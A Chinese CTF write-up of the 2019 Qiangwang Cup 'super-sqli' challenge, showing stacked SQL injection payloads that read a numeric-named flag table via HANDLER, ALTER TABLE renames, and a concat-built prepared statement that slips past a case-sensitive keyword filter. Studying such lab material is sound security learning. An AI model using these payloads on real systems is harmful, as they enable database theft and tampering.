sql注入练习6(堆叠注入)

强网杯2019–随便注 super-sqli

(buu 或者攻防世界super-sqli)
一开始还是从最基本的union开始尝试
1’ 错
1’ or 1=1#正常
1’ order by 3#
1’ order by 2# 正常,说明2个字段
尝试union:
1’ union select 1,2#
在这里插入图片描述
发现常用的关键字都被绕过了,考虑堆叠注入
在这里插入图片描述
show tables;#
在这里插入图片描述
show columns from words;#
在这里插入图片描述
show columns from …
在这里插入图片描述

flag在1919810931114514表里面,但是select等都被过滤,因此提取不出来
注意:MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号

以下都是搜来的解决办法:(都好nb)

方法1:

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

handler的用法
查阅官方文档

方法2:
页面默认查的是words表,将1919810931114514的表名和words交换;
修改表名和列名的语法如下:

修改表名(将表名user改为users)

alter table user rename to users;

修改列名(将字段名username改为name)

alter table users change uesrname name varchar(30);

最终payload如下:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

方法3:
利用mysql的预处理。参考

预处理语句输入如下:

1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+

set和prepare也是被绕过的
在这里插入图片描述
但是strstr()这个函数大小写敏感,所以把set改为大写,prepare也改为大写就可以绕过了

这里很巧妙的用concat绕过了关键字的检查

方法2的分析:唉这个方法还是得好好琢磨
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
1’ or 1=1#
w在这里插入图片描述
words表
在这里插入图片描述

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

XDminiL id-wife

这好像一毛一样,放上师傅的wp
在这里插入图片描述
luoqian dl的
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值